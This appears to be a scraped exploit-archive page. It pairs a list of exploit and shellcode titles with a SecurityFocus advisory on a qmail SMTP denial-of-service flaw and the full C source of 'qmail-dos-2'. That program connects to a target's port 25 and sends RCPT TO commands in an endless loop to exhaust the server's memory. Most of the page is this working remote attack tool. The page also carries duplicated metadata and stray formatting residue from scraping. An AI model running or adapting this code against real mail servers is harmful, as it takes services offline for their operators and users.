
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
92 lines
No EOL
2.9 KiB
C
92 lines
No EOL
2.9 KiB
C
// source: https://www.securityfocus.com/bid/2237/info
|
|
|
|
qmail is an e-mail server package developed by Dan Bernstein.
|
|
|
|
The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.
|
|
|
|
This behaviour is due to the dynamically allocated memory being exhausted.
|
|
|
|
The condition occurs in situations where resource limits are not imposed on the server process.
|
|
|
|
Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.
|
|
|
|
Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.
|
|
|
|
It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.
|
|
|
|
/*
|
|
* qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
|
|
* amount of recipients.
|
|
*
|
|
* Usage: qmail-dos-2 fully-qualified-hostname
|
|
*
|
|
* Author: Wietse Venema. The author is not responsible for abuse of this
|
|
* program. Use at your own risk.
|
|
*/
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <netdb.h>
|
|
#include <string.h>
|
|
#include <stdarg.h>
|
|
#include <errno.h>
|
|
#include <stdio.h>
|
|
|
|
void fatal(char *fmt,...)
|
|
{
|
|
va_list ap;
|
|
|
|
va_start(ap, fmt);
|
|
vfprintf(stderr, fmt, ap);
|
|
va_end(ap);
|
|
putc('\n', stderr);
|
|
exit(1);
|
|
}
|
|
|
|
chat(FILE * fp, char *fmt,...)
|
|
{
|
|
char buf[BUFSIZ];
|
|
va_list ap;
|
|
|
|
fseek(fp, 0L, SEEK_SET);
|
|
va_start(ap, fmt);
|
|
vfprintf(fp, fmt, ap);
|
|
va_end(ap);
|
|
fputs("\r\n", fp);
|
|
if (fflush(fp))
|
|
fatal("connection lost");
|
|
fseek(fp, 0L, SEEK_SET);
|
|
if (fgets(buf, sizeof(buf), fp) == 0)
|
|
fatal("connection lost");
|
|
if (atoi(buf) / 100 != 2)
|
|
fatal("%s", buf);
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
struct sockaddr_in sin;
|
|
struct hostent *hp;
|
|
char buf[BUFSIZ];
|
|
int sock;
|
|
FILE *fp;
|
|
|
|
if (argc != 2)
|
|
fatal("usage: %s host", argv[0]);
|
|
if ((hp = gethostbyname(argv[1])) == 0)
|
|
fatal("host %s not found", argv[1]);
|
|
memset((char *) &sin, 0, sizeof(sin));
|
|
sin.sin_family = AF_INET;
|
|
memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
|
|
sin.sin_port = htons(25);
|
|
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
|
|
fatal("socket: %s", strerror(errno));
|
|
if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
|
|
fatal("connect to %s: %s", argv[1], strerror(errno));
|
|
if ((fp = fdopen(sock, "r+")) == 0)
|
|
fatal("fdopen: %s", strerror(errno));
|
|
if (fgets(buf, sizeof(buf), fp) == 0)
|
|
fatal("connection lost");
|
|
chat(fp, "mail from:<me@me>", fp);
|
|
for (;;)
|
|
chat(fp, "rcpt to:<me@%s>", argv[1]);
|
|
} |